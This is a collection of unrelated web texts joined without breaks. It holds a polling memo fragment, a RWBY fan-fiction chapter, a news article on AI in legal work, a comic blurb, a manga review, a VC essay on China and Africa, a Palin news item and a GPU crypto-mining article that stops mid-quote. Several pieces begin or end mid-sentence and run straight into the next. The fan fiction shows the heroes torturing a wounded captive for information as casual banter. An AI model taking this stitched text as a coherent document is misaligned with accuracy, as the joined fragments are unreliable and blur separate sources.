centered on the middle class, though “working families” can contribute as well. The “working families” language has a lot of energy. By 56 to 43, voters say we need an economy that works for “working families” rather than the “middle class” – including a majority of the RAE. But importantly, when a respondent hears repeatedly about the middle class, the vote holds up against the conservative attack, whereas when the language is about ‘ordinary people’ Democrats lose 4 points in the race.
[1] https://www.hillaryclinton.com/feed/what-president-obamas-legacy-means-me/; http://www.nytimes.com/2016/01/25/us/politics/hillary-clinton-bernie-sanders-democratic-party-iowa-new-hampshire.html [2]National Web-Survey of 1,200 Likely 2016 Voters. This survey took place January 6- 12, 2016. Likely voters were determined based on whether they voted in 2012 or registered since and stated intention of voting in 2016. Data shown in this deck is among all 2016 likely voters unless otherwise noted. Margin of error for the full sample is +/-2.83 percentage points at 95% confidence. Margin of error will be higher among subgroups.Spear and Shield
"Okay, but hear me out-"
"Jaune, honey, no." There was a harsh cracking sound, followed quickly by a grunt of pain. "We're not having fireworks at our wedding."
"But-"
"No."
Jaune huffed, bringing his sword up to deflect a blade aimed for his abdomen. "You're no fun," he pouted as he slammed his shield into his assailant's face. Another charged him from behind, and he spun to meet her, catching both her knives on his shield. "Can you believe her?" he asked the faunus with a jerk of his head in the direction of his fiancé. "Who doesn't want fireworks at their wedding? I mean c'mon!" The blond sighed at the blank, confused look he got in return. His sword flashed downward, tripping up the woman and spilling her to the floor, where a swift foot to the side of her head knocked her out.
"I think you're looking for support in the wrong places, dear," Pyrrha laughed. He looked over to find her engaged with two short-sword wielders, Miló and Akoúo̱ in constant motion, deflecting every swing that came her way. Another faunus was sneaking up from behind, pistol drawn as he tried to get a bead on the crimson-haired Huntress.
"Pyr…"
"I know," she replied calmly, tucking her sword away on her back. Her two opponents must have seen that as their chance, as they swung horizontally at her in perfect sync and from opposite directions, one low, one high. Pyrrha jumped, spinning herself parallel to the blades, slipping in between them effortlessly. As gravity reasserted itself and she came back down, she transferred her rotational energy into her arm, whipping Akoúo at the gun-wielding faunus. The shield slammed into his chest and sent him sprawling. Pyrrha's feet hit the ground, and she spun to face the right opponent as Miló gravitated back into her hand in javelin form. She pulled the trigger as she threw the weapon, and it blasted forward into the faunus in front as the bullet struck the one behind. They dropped simultaneously.
"Show off," Jaune commented as he walked over.
Pyrrha smirked as her shield flew back to her. "You're just upset about the fireworks."
He threw his arms in the air. "Of course I am! Who wouldn't be?"
"Me, for one." He narrowed his eyes at her and opened his mouth to retort, but a peck on the cheek silenced him. "How about sparklers? Much less likely to set the surrounding buildings on fire."
She almost laughed at how his eyes lit up. "For real? Like, you're not just saying this to get me to shut up? You've done that before."
She nodded. "For real. We can put a few on each table."
Jaune did a victory fist-pump. "Aw yeah! Sparklers! Our wedding's gonna be awesome!"
Pyrrha placed a hand in front of her mouth to kill her smile. Many people would have found Jaune's persistent childish streak an annoyance, but Pyrrha loved it. It was part of what made Jaune Jaune, and she adored everything about him. Besides, sparklers did sound kind of fun. "Yes, but don't you think we should focus on dealing with the situation at hand before we get too excited about that?"
Her partner froze, eyes wandering around the room as if he had forgotten where they were. "Ah, right, yeah, mission." He rubbed the back of his head sheepishly. "I kinda got carried away, my bad." Sapphire eyes took in the men and women lying on the ground around them, moaning in various states of pain. He pulled out his scroll and checked the time. "12:06. Well that didn't take us too long," he said as he slid the device shut and tucked it back in his pocket.
The mansion he and Pyrrha had been assigned to tackle was enormous. A hulking, sprawling mass of hallways, dining rooms, bathrooms, and more bedrooms than Jaune could count across both of his hands. Frankly speaking, despite its grandeur, the Huntsman had never seen such an unwelcoming building in all his life. The roof steeped sharply, surrounded by iron spikes all along its perimeter to dissuade loitering birds. There were two turrets on either side of the back end of the house, both of which pierced the sky like great spears. Steel colored paneling covered all sides of the structure, with black trim on the windows and doors. The front steps and the columns beside them were cut from grey marble, and the wrought iron fence that ran around the entire property was topped with even more vicious points.
All in all, it looked like someone had decided to try and turn negative emotions into a house.
Credit where it's due, they succeeded. The inside wasn't too much better. The grey marble from outside seemed to have been the go-to material for most of the construction, and gave the whole thing a feeling of cold emptiness. The impossibly high ceilings only added to the air of loneliness. To be fair, Jaune couldn't really talk about the rest of the mansion, as they hadn't made it past the entrance hall before Roman's men had swarmed them en masse.
If they had realized who they were charging, however, they may have reconsidered their actions.
So here they were, the two of them standing amidst a sea of agony they had doled out.
"Not that I really expected it to take us that long," Jaune commented as he collapsed his shield and sheathed Crocea Mors. "That was a cakewalk compared to that nest of Deathstalkers last week."
"Admittedly."
"There should definitely be more, though. Sun said there were at least twice this amount." He grinned at her. "Shall we go find the rest?"
"Why don't we just ask one of these ones?" Pyrrha motioned with an arm to the group of injured faunus. "I'm sure they can tell us where we might find the information we're looking for."
He pressed a kiss to her lips. "I knew there was a reason I was marrying you."
She quirked an eyebrow. "So you didn't know before?"
He shrugged and teased, "I was sort of playing a hunch."
Emerald eyes rolled. "Oh, that'll make for a great wedding vow."
Before Jaune could say anything, a cough sounded from their feet, followed by a raspy, "If you two are just gonna sit there and flirt, please just kill me now." They glanced down to find one of the two final opponents Pyrrha had brought down, the one she had shot. The fox faunus was lying on his back, hand pressed to the bleeding bullet wound in her right shoulder. "Seriously," he coughed again. "I'll take my chances in hell.
Jaune glanced at his fiancé. "I think we just found a volunteer."
The faunus rolled his eyes. "Oh goody," he sneered sarcastically, "does this I mean I-AAAAAAAAAAAAAAAAAAAH!" He sentence promptly became a scream of pain as Pyrrah's heel dug into the bullet wound.
"Pyrrha doesn't like it when people patronize her," Jaune said evenly, blue eyes watching as the man grasped desperately at his partner's boot. His voice grew dark and threatening as he continued, any trace of the cheer from before gone. "So I suggest you cut the attitude, and tell us what we want to know."
"Alright! Alright! I'll tell you! Just, please stop!" Pyrrha relieved the pressure, pulling back her foot so it no longer pressed into his injury. She rested it right beside the torn flesh though, a clear warning that she would not hesitate to continue her earlier ministrations should his answers fail to satisfy them. "Fuckin' Hunters."
"Where's Roman?" Jaune asked. All he got in response was a glare. The blond sighed. Why does no one ever take the easy route? He looked at Pyrrha, whose foot immediately shifted back to the fox's wound.
"I don't know!" he cried panickedly, defiant attitude broken in a heartbeat. Pyrrha's heel froze, hovering just above the bullet hole. "Please, I really don't know!"
His eyes were wide, full of fear. He wasn't lying. "Is he still in the city?"
"Yes! He doesn't tell us much, but he'll let us know when he's leaving Atlas."
"So this isn't the first time he's been in Atlas since the Siege," Jaune mused quietly, receiving an enthusiastic nod in return. "Okay, good. Next question." He could have sworn the faunus almost whimpered. "Why are you stealing Dust? And so help me, if you tell me you don't know…"
"But I really don't! Look, after the White Fang was dismantled, we didn't have anywhere to go. The organization we worked with in the past stepped forward and offered to take us in, on the conditions that we'd do whatever they said and not ask questions. We didn't have a choice! They keep us in the dark about everything. All we get are the current orders, given to us by Torchwick. Beyond that, we don't know anything!"
"Probably in case something like this happened," Pyrrha observed.
Jaune nodded. "Okay, last one, and I know you know this one. There are more of you here. Where are the rest? And where do you keep any and all records you have?" The man gulped, avoiding the piercing eyes staring down at him. As his gaze shifted over Jaune's shoulder, his body jolted for a second, before a smile slowly pulled at his mouth. He chuckled, but Jaune cut him off, never breaking eye contact. "Oh, that's just adorable." The faunus' face grew confused and slightly concerned. "You think they can help you, don't you?" His captive's eyes widened. "What? You thought we didn't notice them trying to sneak up on us?"
Jaune had felt the telltale shiver course through his Aura before the faunus had ever seen his comrades coming up the hallway behind them. His ability to sense danger may not have been on Ren's level, but it was nothing to scoff at; he was a Huntsman. Their new opponents would be here momentarily. "You want to take this one, Pyr?"
"Only if you get the next."
"Done." Pyrrha nodded and walked away toward the far end of the room, where they had felt the approaching enemies from. "Now that that's taken care of, I suggest you start talking."
"Your partner's going to die," he spat as he pulled his torso up.
"You think?" Jaune glanced over his shoulder at his fiancé just as a group of eight faunus entered the room. Pyrrha was on them in an instant, and before they even managed to properly bring their guard up, two of them were down. Her weapon blurred between sword, rifle, and javelin as she weaved through their ranks fluidly. "I think she's gonna be just fi-"
A loud gunshot cut him off, and his head jerked to the side. The fox faunus they had been questioning had managed to snatch a pistol from the floor while Jaune was distracted, and put a bullet right through his temple.
At least, he had tried to.
Jaune glanced to the side at the man as the crumpled lump of lead clattered to the ground. The faunus' eyes were wide, horror and disbelief shining through them clearly. The bullet had struck the Huntsman in the head and stopped. It was as if it had hit a solid wall.
"Good try. If I hadn't activated my semblance the moment I walked through the door, you may have had a chance. Do you know who we are?" The injured faunus numbly shook his head. "Have you ever heard of Beacon's Spear and Shield?"
Color drained from the fox's face. No wonder. No wonder these two had annihilated them in mere minutes. No wonder they hadn't seemed the slightest bit concerned about his comrades. If what this man was implying was true, these two were the strongest duo to graduate from Beacon Academy in the last decade.
"I see you've finally caught on." Jaune held out an arm towards Pyrrha, who was finishing off the remaining three enemies. "Spear." The Huntress had one knee to the ground as Miló spun about her neck, transforming into its rifle form. She snatched the gun as it finished, and blasted one opponent backward. One of the last two raised a rifle while the other charged forward, sword glimmering in the light as he slashed viciously. Pyrrha twisted around the swing, threw Akoúo at the other faunus before he could squeeze the trigger. He stumbled backward, spraying a few erratic bullets at the ceiling. Miló spun in Pyrrha's gripped, switching back to javelin form, and she slammed its shaft into the blade-wielding enemy's face. Without missing a beat she turned and wailed the weapon at the final opponent. The tip tore through his left shoulder, carried him across the room, and pinned him to the wall. He hung there limply until Pyrrha summoned her weapon back to her hand.
Jaune touched his own chest as his sapphire eyes blazed at the cowering faunus. A white shimmer passed over his body. "Shield." Pyrrha strode over to them, standing over his shoulder and crossing her arms. "Do you understand exactly what position you're in now?" There was no response, but the trembling was more than enough of an answer for Jaune. "Good. Now…about that question…"
"You didn't have to threaten him like that."
"I didn't threaten him. I merely told him who we were."
"Clearly implying what we could do to him if he didn't cooperate."
"Hey now, I'm not the one who stuck my heel in his wound."
"I don't like doing those types of things, Jaune. You know that."
The tone of her voice made Jaune pause in his trek down the infinitely long, infinitely creepy (seriously, those paintings were watching him), hallway and turn to her. He grabbed her hands and gently tugged her towards him until their forwards rested together. "I know you don't. I don't either. Unfortunately, sometimes it's something we have to do."
The Huntress closed her eyes, trying to take comfort in Jaune's presence. "I just wish it wasn't."
"Me too, Pyrrha." He began pulling her along the corridor. "Guess if we had known all the shit being Hunters was going to put us through, we might have avoided it entirely. Or at least stayed away when we had the chance," he murmured quietly. The comment sparked a series of memories of the worst time of Pyrrha's life.
"If you hadn't come back-"
Jaune gave Pyrrha's hand a reassuring squeeze. "I'm not saying I regret it. I just sometimes look at that moment, and wonder where I'd be if I had taken the other path." His eyes hardened slightly. "But I didn't. I chose to be a Huntsman, and I'll see it through, even through the less than favorable parts." His voice was steel, tempered by the conviction he had forged in the years since the illusion of the world as they had known it had been viciously shattered.
Pyrrha couldn't resist a light chuckle. Jaune's head snapped around. "Wh-What? Why are you laughing? Did I say something stupid again?"
"No," now it was her turn to tighten her grip. "I was just wondering exactly when it was that you started giving the inspirational speeches."
"Hey! I've always been inspirational!"
"I think 'always' is a bit of stretch."
"Oh, you do, do you? Name one time I wasn't inspirational. And motion sickness doesn't count!"
Pyrrha just smirked. "Freshmen year."
"You'll have to be more specific, a lot happened that year."
"Oh, I was referring to the whole thing," Pyrrha teased as Jaune huffed. "But if you're looking for an exact moment…how about when you asked Weiss to-"
"Ah da da da!" Jaune hurriedly cut her off, ears tinged red in embarrassment. "We agreed we would never talk about that again."
His fiancé continued unabashed though, "Yang said you were so confident with your little guitar…"
"I'm gonna smack her," the now crimson-faced blond muttered, and Pyrrha giggled. "Anyway," he cleared his throat, "I think we're here." They had reached the end of the hallway, to their right was another large room that Jaune couldn't tell the purpose of, nor did he care. The staircase on the left was what drew his attention. He ignored the marble steps climbing upwards, and instead led them down. They drew their weapons as they descended, ready for whatever may lay ahead. Which happened to be a large, metal door, sealed seamlessly shut. A keypad set in the wall glowed a gentle green in the surrounding darkness.
Apparently creepy mansions come complete with poorly-lit basements. Who knew?
"Do you think they know we're here?" he whispered.
"Given that they sent reinforcements to help out the others, it would probably be a safe assumption that they are fully aware of our presence," Pyrrha answered in a normal voice. "Plus…" she pointed into the shadowed corner high up the wall. Jaune squinted and was barely able to distinguish a tiny reflection off light.
"Cameras," he stated, to which Pyrrha nodded. He sighed. "You know, it's times like this when I really miss Ren. Knowing the number and position of enemies before you break down the door is always useful."
"Not that Nora would wait around for us to put the knowledge to use."
Jaune laughed. "No, no she wouldn't. Well then." He walked up to the door and proceeded to pound on it four times with his fist. "We know you're in there, and you obviously know we're out here. You saw what we did to your comrades, so you know what we can do. You may think this slab of metal is gonna protect you, but I promise you it will not. So, I have a proposition for you." Jaune paced back and forth, eyes burning holes through the door. "Open the door, let us get what we want, and we won't break your legs." Pyrrha imagined that elsewhere in the city, one Nora Valkyrie felt a shiver climb up her spine at the mention of her favorite method of persuasion. She somehow always knew. "Sounds fair, right?"
There was no response from the other side of the door. Nor did it open. They waited there in silence for another minute before Jaune exhaled tiredly.
"They never want to do it the easy way. Why do they never want to do it the easy way, Pyrrha?"
"I suppose because life would be too boring then."
"You know, sometimes I think we could do with a little bit more boring. Would you mind getting the door?"
Pyrrha crossed her arms. "Oh no, Arc. I think we agreed you'd get the next one."
"The next group of guys!" he protested.
"Pretty sure I only specified 'the next one.' Never said anything about it being people." She grinned.
"Fiiiiiiine." He spread his legs and held his sword down and back. "But we're even after this."
She pressed her lips to his temple briefly. "Whatever you say, darling."
Jaune tried to pout, but Pyrrha could see the smile pulling at the corners of his mouth. And then it was a thin line as he concentrated. Jaune closed his eyes and summoned his Aura, pushing it down his arm and into his blade. Following his discovery of his semblance and basic Aura control during the Siege, Jaune had learned many things. Chief among them, though, was why his family, a family of celebrated heroes, used such an outdated weapon as Crocea Mors. Sure, it didn't have a gun attachment, or any sort of Dust embedded anywhere within it, but it was designed to channel and focus massive quantities of Aura, something his family seemed to have in spades, often with devastating results. The first time he had accidentally discovered this feature, Jaune had leveled half of one of Beacon's training facilities. As it happens, buildings need support beams to stay upright.
His eyes snapped open, and his sword sliced through the air diagonally. A wave of pure white energy roared from its tip, cleaving apart the air and smashing into the door. With a horrible keening, it sheared right through the metal, and crumpled the entire thing out of its frame. As the two halves fell away, they revealed a large, white paneled room, full of computer equipment and stacks of crates. And around dozen stunned faunus staring wide-eyed at the scraps that had, until quite recently, been a door.
Jaune and Pyrrha stepped through the fresh opening. The blond hefted his sword onto his shoulder, smirking at the expressions that greeted him.
"I told you it wouldn't protect you."
A/N: Heya, guys! Sorry this one's a little late. Got a late start this week
Anyway, what'd we all think? Some Jaune/Pyrrha to help showcase some of there new stuff, though I promise we have even more stuff to discover. Little hints to what they went through in the interim, too :)
To those of you missing WBY, next chapter will be back to our girls, so worry not
Please drop me a review, and let me know what you think! You guys are the best!
Oh, before I forget. I'm changing my updates schedule to either Wednesday or Thursday, rather than just Wednesday. It'll give me an extra day of leeway during week's like this one. I won't feel rushed to try and get it out on time if it feels like I'll need more time.Login | February 27, 2019
Legal experts weigh in on the impact of AI
SHERRY KARABIN
Legal News Reporter
Published: May 24, 2017
Once just a farfetched concept found in science fiction novels and movies, today artificial intelligence (AI) is not only a reality, it’s impacting the workplace. From changing the way businesses search for employees to allowing workers to speed up certain aspects of their jobs, the use of AI-infused software and platforms is on the rise.
Sarah Moore, a partner at the management-side labor and employment law firm Fisher Phillips, said just as industrial automation displaced portions of the blue-collar employee sector, AI will similarly replace and transform the white collar world in an unprecedented way.
“The revolution we saw with machines in blue-collar industries focused on the way in which items are moved from point A to B or combined to create a product,” said Moore, who works out of the firm’s Cleveland office. “Robotics assisted in the process and humans supported the mechanical systems.
“With AI the computer is performing human thinking tasks and that will dynamically change the workforce, displacing a different group of employees,” she said. “In the financial sector AI is used in different software platforms to perform the financial analysis that people would perform so decisions can be made faster.
“AI is also tied into many human resources functions, with programs that do the initial sorting and analysis of candidates, narrowing down the number of resumes that managers have to sift through.”
The legal profession is also among those being transformed as startups offer new AI-infused software and platforms for document automation, e-discovery and even compliance.
“AI compliance software asks a few basic questions, does a legal analysis and generates recommendations that take into account relevant statutes and laws,” said Moore. “Basically the lawyers inform the software to perform quick analysis using logic formulas and the software becomes the new legal service platform delivering services at less expense to clients.”
Emily Janoski-Haehlen, an associate professor at The University of Akron School of Law, said artificial intelligence has now become an integral part of her Technology in Law class.
“Some people suggest that AI will spell disaster for the legal profession,” said Janoski-Haehlen. “I take the approach that when used properly AI can help lawyers to be more productive by automating routine tasks so they can focus on more complex matters.”
Janoski-Haehlen, the director of the school’s law library, said AI-infused software programs can be especially useful when doing legal research and e-discovery.
“In my class I teach all my students how to create templates for contracts and how to do contract review using document automation software,” she said. “The students are both fascinated and a little scared.”
Janoski-Haehlen said right now there is a big debate over whether law schools should adopt ROSS Intelligence, an artificially intelligent system powered by IBM’s Watson cognitive computing platform, to teach students how to use it for legal research and workflow management.
“Traditionally a lot of these jobs are done by new attorneys,” said Janoski-Haehlen. “The ROSS motto is that it will supercharge the lawyer by making you better and smarter.”
ROSS is already in use at some law firms and a few law schools.
While she does not believe machine learning platforms like ROSS will ever replace lawyers altogether, Janoski-Haehlen said the use of technology is changing the look of a traditional law office.
“Some firms no longer have a legal secretary because many of the tasks they once did have been replaced by technology,” she said.
“There’s now a company called Ruby receptionists, which offers live virtual receptionists. They have Spanish speaking receptionists, live-answering services and the client can have the calls forwarded to their cell phone or office phone or they can retrieve messages from the Ruby mobile app.”
The field of court reporting could also be impacted, Janoski-Haehlen said.
“Courts can install digital recording systems that could replace the traditional court reporter,” said Janoski-Haehlen. “There is debate about whether or not this is a good idea, however, because it is currently easy for a judge to ask a court reporter to repeat the last thing a witness or attorney said. But asking a digital reporter to perform this same function might be tricky.”
Moore said businesses, including law firms that take advantage of the new technology must be prepared to mitigate the potential legal fallout.
“Employers need to examine the operational implications as well as the fact that a large percent of the workforce could be displaced,” said Moore. “Businesses should analyze their decisions and develop a strategic plan, bringing in IT and the legal side to ensure they don’t run afoul of union regulations or the required WARN (Worker Adjustment and Retraining Notification) Act notifications that employers covered by the law must adhere to when large numbers of workers are laid off.”
There’s also the question of who or what would be held accountable for any poor decisions made by AI. For example, if AI is used to recommend a financial portfolio and the investor loses larges sums of money, who would be sued?
“The reality is that there are no laws on the books that squarely address these questions in an AI setting,” said Moore. “Most likely such suits would be decided based on current negligence law.
“Given how quickly this new technology is upon us, it may take time for necessary legal regulation to catch up to AI. Until then, it’s likely that proving harm from these systems may be more costly than traditional suits under present law.
“In the area of human resources, one question that will likely arise is how does the use of AI in sorting through candidates match up with federal and state anti-discrimination laws? That issue will undoubtedly be decided through future legal challenges,” Moore said.
In the meantime, Janoski-Haehlen is advising her students to proceed with caution when embracing the new technology.
“Ultimately I believe lawyers will be held accountable for any mistakes that occur,” she said. “Lawyers need to review the results that the new technology produces to ensure they are accurate.
“I also tell my students who are interested in setting up virtual law practices to be careful of what they are putting out for the public’s consumption,” said Janoski-Haehlen.
“Vendors like LegalZoom have clear disclaimers that they are not providing legal advice. I tell my students if they go down that road, they must protect themselves since they won’t be able to blame machines for their mistakes.”
[Back]Resident Evil: Unlimited
So, here it is, folks! The first part of the new comic, Resident Evil: Unlimited, which will be updated with five new pages every other Thursday starting today!
The year is 1998. Saving Private Ryan is getting rave reviews, The Legend of Zelda: Ocarina of Time is bringing 3D gaming to new heights on the Nintendo 64, Kate Shindle is Ms. America, and President Bill Clinton has just made the most quoted statement of his career. But in the heart of the sleepy Midwestern town of Raccoon City, a group of psychopaths are holding the city’s citizens in a grip of fear. Presumed cultists have begun murdering citizens around the city, apparently eating them alive and then feeding the remains to dogs and other unidentified animals. The local law enforcement has had no luck in tracking the killers down, and the people are starting to panic. Last week, the ninth victim was found in the Victory Lake district — near the circular river — in the Arklay Mountains. The Raccoon City Police Department has called in the Special Tactics and Rescue Service (S.T.A.R.S.) to investigate.
Bravo Team was sent in last night, but something has gone seriously wrong. Now Alpha Team has been sent in to investigate. And so begins the long night of July 24th, 1998…
ALPHA TEAM STATUS
BRAVO TEAM STATUS
You can now view Chapter 1-2! Click HERE!This manga is the most hilarious manga.
Hinamatsuri (ヒナまつり, lit. Hina Festival, also a pun on “Hinamatsuri“) is a comedy series by Ohtake Masao (大武政夫). This is hands down my favorite comedy manga, but it’s also straight up my second favorite manga of all time. It’s a very close second, too — it used to be first until I read Taiyou no Ie. Truthfully, the only reason Taiyou no Ie has a leg up over it with me is since on top of being a very, very excellent manga, I regard Taiyou no Ie with importance in regards to my life. It’s special class, basically. Even then, in all honesty between the two I’d say Hinamatsuri is the better title in terms of overall quality. Hinamatsuri is basically like…almost perfect in terms of comedy? At least in my opinion. I can’t name a chapter that didn’t make me laugh |
, ignorance of the macro is no virtue. Think of it like this: skillfully selecting the very best dish on a menu, after choosing amongst the very best restaurants, out of the very best neighborhoods, of the very best town of the very best city… only to have Godzilla appear out of nowhere and stomp and crush it all mid-bite.
The most important macro trends are often not the front-page news already appreciated in asset prices, but the lesser-talked-about mega trends being missed. One of the biggest we call: “Chinafrica,” China’s growing access and influence throughout the African continent. For China, Africa has stuff (iron, copper, cobalt, oil), markets for Chinese manufacturers and construction companies and a platform to project influence. For Africa, China offers rapid build-out, best and worst practices in infrastructure, manufacture, labor management, technical training and, importantly, growing trade and modernization.
How could this affect tech, VC and Silicon Valley? First consider some trends.
Demographics: Africa’s working population is growing
Capital goes where it is welcome, and stays where it is well treated. The same is true of human capital, talent and labor. China has seen mass movement of human capital from country to cities, a peak in labor force (likely to decline), a rising cost of labor, a growing middle class and the flow of demand for lower-cost labor into neighboring countries like Vietnam, Laos and Cambodia.
As parts of China’s economy emphasize technology and services, it will for better or worse export to other low-wage developing nations its best and worst practices and its expertise in manufacturing, managing labor and building mass infrastructure. China will help set up, and in many cases, co-own or operate manufacturing facilities, infrastructure (rail, water, mining, electricity) and transportation and shipping hubs.
It’s classic mercantilism: China through trade gains geopolitical influence. It will grow both its economy and its projection of power beyond the Asian Pacific rim, leveraging the African continent to project trade and power into the Atlantic Ocean on Africa’s west coast and the Indian Ocean, Arabian Sea and beyond to Africa’s east coast.
Over the next generation, in the next 35 years, 1 in every 4 people in the world will be African. Right now, and in contrast to China, half of the African population is under 20, and the working-age population will expand by 20-30 million people per year over the next generation, going from 530 million people in 2015 to 920 million in 2035, and on to 1.4 billion by 2055. Meanwhile, the UN projects that the working age population of China will shrink from around 920 million in 2015 to 667 million by 2055. By this time, most of the net growth on the world’s labor force will occur in Africa and by 2050, Africa will make up 25 percent over the world’s workforce.
Already China is investing in training across Africa. Chinese tech giant Huawei earns 15 percent of its global revenue in Africa but also trains 12,000 students throughout Kenya, Congo, Angola and Nigeria in telecom and technology.
China is not just capturing commodities in nations like Nigeria and South Africa. China also is active in less commodity-rich nations like Kenya, Ethiopia and Uganda, in part because they are growing economies and geopolitically strategic. China has made big investment into relationships with these African nations as a source of labor for the Chinese economy. Chinese firms have been disproportionately awarded infrastructural development projects in Africa, and more than a million Chinese nationals have moved to Africa to work for satellite offices of Chinese firms (most notably in construction).
Trade: It’s been growing but has been lopsided
U.S. trade has declined over the past decade (from almost $150 billion a year to less than $50 billion — some of it because of the U.S. fracking revolution since 2011). But trade between Africa and China has ballooned over the last two decades. In 2000, Chinafrica trade was around $10 billion. By 2014 it was $220 billion.
The U.S. has 49 trade missions throughout the continent, while China has 52, along with more than 2,000 peacekeepers and troops in Congo, Liberia, Sudan, South Sudan and Mali. While this relationship between Chinafrica was well-balanced for years, since 2015 an alarming trade imbalance has developed, which many African leaders are now taking on. China’s imports from Africa fell nearly 40 percent in 2015, to $67 billion, while exports grew. From 2006-2014, the growth rate of China’s imports averaged 13 percent year-on-year but is expected to fall to 3 percent over the next few years. Overall, Chinese imports and exports still represent only a small portion of Africa’s total trade.
Investment & lending
China’s investments have been growing, as have its lending (and implicit claims on assets if loans don’t pay off). A third of all of China’s loans to Africa are secured by commodities.
China’s loans to African nations totaled $5 billion per year from 2006-2010, $10 billion per year from 2011-2012, and $15 billion per year from 2013-2014. Some estimates have China accounting for one-sixth of all lending throughout Africa. And notably, loans from China made up 13 percent of total loans that Africa received in 2014, but were tied to market-based interest rates, instead of little to no interest rate like those from the west.
Hearts & minds
While African leaders might begin to change their tune and drum up populist anti-China sentiment, for now China is winning over much of Africa. In Senegal, 86 percent of people said China’s role in their country helped make things better versus 56 percent who said the same of Americans. The number was 91 percent for Kenya.
Tech implications
As the base layer of physical infrastructure get built out, we at Lux are watching as there is likely to be a significant growing market for software, services, telecom, data centers, technological infrastructure and application layers on top of it all. China tech companies will play a big role here. And U.S. startups partnered with Chinese heavyweights may find faster in-roads than lumbering U.S. companies like IBM.
The odds are high for Chinese mobile companies or social networks to implement, invest or outright acquire local country-level or continent-wide networks that can generate credit, influence populations and, of course, sell products and services. All this has been happening for the past 15 years with little attention. Activity is accelerating and the macro opportunity for tech investors and entrepreneurs is becoming more real by the day.Palin: 'They're Not Going To Shut Me Up'
Saying that the "mainstream media" has tried to score political points and that she and other conservatives were "falsely accused of being [an] accessory to murder," former Alaska Gov. Sarah Palin spoke again last night about the shooting rampage in Arizona and discussions afterward regarding the tone of political debate.
On Fox News Channel's Hannity, the 2008 Republican vice presidential nominee expanded on things she said in a video she released last week. She told Sean Hannity that:
-- "I will continue to speak out.... They're not going to shut me up.... They can't make us sit down and shut up."
-- Regarding the tone of political discourse, "it's going to be very tough and even futile to... start censoring everyone's speech and everyone's icons.... We hear now of this desire, this demand for civility.... [I am] certainly in agreement with the ideal of being civil.... [But] we should not use an event like that in Arizona to stifle debate."
-- The much-discussed map that her political action committee posted last year, with crosshairs on the districts of 20 members of Congress (including that of Arizona Democrat Gabrielle Giffords, who was critically wounded in the Jan. 8 attack) "wasn't an original graphic." It is like others used "for many years... in political races" by Democrats and Republicans.
The decision to remove that map from her PAC's website shortly after the shootings was made by "the contract graphic artist.... I don't think that was inappropriate [removing the map]."
But, the map "had absolutely nothing to do with an apolitical or perhaps even left-leaning criminal" attacking the Giffords event in Tucson.
Here is the video of Palin's appearance on Hannity. Palin is a paid contributor on Fox:
Watch the latest video at video.foxnews.com
Update at 7:45 a.m. ET. Speaking of Palin, this video tribute was originally put on YouTube last October, but seems to have "gone viral" in recent days:While cryptocurrencies may be back in the headlines, most public companies are today keeping any interest in the technology on the periphery of their business.
For tech giants Nvidia and Advanced Micro Devices (AMD), however, that is no longer an option.
So far in 2017, cryptocurrency miners have taken over the market for consumer graphics processing units (GPUs), using the devices to solve the cryptographic puzzles required by ethereum (and other “scrypt”-based cryptocurrency protocols) and claim their lucrative rewards.
Both companies posted eye-popping sales figures over the first half of this year, as miners exhausted online and in-store inventories. In response, Nvidia and AMD grew second quarter revenues year-over-year by 56 percent and 19 percent, respectively.
Apart from just a boost to the two firms’ bottom lines, though, this marks one of the first times cryptocurrencies have had a significant impact on the business of publicly traded companies – and the results seem positive. That said, the tempered reactions of both companies to the growth demonstrate something more could be festering under the surface.
Ambrish Srivastava, an equities analyst at BMO Capital Markets who covers both companies, told CoinDesk:
“I don’t think these companies are happy. The volatility is tough to manage from a business perspective. Crypto for these guys is not their main focus.”
Mo’ money, mo’ problems
For one, the companies are facing criticism from shareholders and the investment community who don’t want to pay for what they see as highly volatile crypto mining revenue.
Should mining demand dry up, it might send share prices tanking – as happened to AMD in 2013 and 2014 after a collapse in the price of cryptocurrencies. For multiple quarters, AMD’s sales were adversely affected as miners dumped their equipment at low prices on the secondary market.
“The good news is that they’re selling more GPUs. The bad news is what happens if they stop selling to this particular community. Is that going to depress their sales and subsequently depress their share price?” said Jon Peddie, president of Jon Peddie Research, a market research group that tracks GPU sales.
The firm’s research reveals that AMD lost as much as half its share of the GPU market after the 2013 bust, a good reason for AMD chief executive Lisa Su’s focus on mitigating the risk incurred from the mining boom, rather than going all in.
Mitch Steves, an analyst with RBC Capital Markets, believes that AMD is fully aware that it is the market-share leader in mining products, and that its bearishness toward mining is a ploy to avoid appearing overexposed.
His estimates suggest that mining accounted for between 18 and 20 percent of the AMD’s $1.22 billion in total revenue for the second quarter.
“AMD is [by far the] better card to mine cryptocurrencies [with]. You’d rather pay [two times] the price for a Radeon 580 before you’d even touch an Nvidia card,” he told CoinDesk, adding that AMD will have a tough time enticing the investment community with that lead role in the mining market.
Tracking the trade
The key reason shareholders are unsettled by cryptocurrency mining is that companies aren’t able to quantify an exact amount of crypto-attributable revenue, which could then be factored into their valuations.
Steves said:
“They’ve got to find a way to track it better. If they could just say that ‘This is definitely all crypto,’ then the investment community wouldn’t view it as a nuisance anymore.”
One of the ways Nvidia and AMD are looking to do just that is by splitting the GPU market through the introduction of so-called “headless” boards, specifically tailored for mining customers.
Because these graphics cards come with no video display output, gamers won’t want them, so there’s no risk of miners flooding the secondhand market in the event of another downturn.
“Some of our [manufacturing] partners are … offering mining specific cards that have a different feature set, such that we’re really segmenting the market between gaming and mining,” said AMD’s Su.
Steves believes people are being overly pessimistic about the cryptocurrency boom, though, saying that AMD and Nvidia “made hundreds of millions of extra money that they probably wouldn’t have made.”
“I don’t think there’s ever going to be a point where they’re going to turn down money,” he continued.
Miners vs. gamers
Yet, the revenue opportunity has come with substantial headaches for GPU manufacturers as it relates to their core customer base.
With miners exhausting the supply of new GPUs within minutes and driving up prices on the secondhand market, managing inventory so as to not alienate core video gamer customers has proven a challenge. Video gamers who have been prevented from getting their hands on the latest GPUs, or priced out of the market altogether, have been less than thrilled by the affects of the mining boom.
“Those traditional base customers of the GPU companies are growling and grumbling because either they can’t get the board they expected to get, or they can get it but the resellers are jacking up the price because the demand is so high,” said Peddie.
Because the GPU companies must typically submit orders for new unit production at least 90 days in advance, they must be able to accurately gauge what the demand for crypto mining will look like in three month’s time – and that’s an extremely tricky proposition.
Guess too high and you have a massive oversupply filling up the warehouses; guess too low and you run out of product and infuriate your core customers.
And finding that number is still largely a shot in the dark.
Peddie concluded:
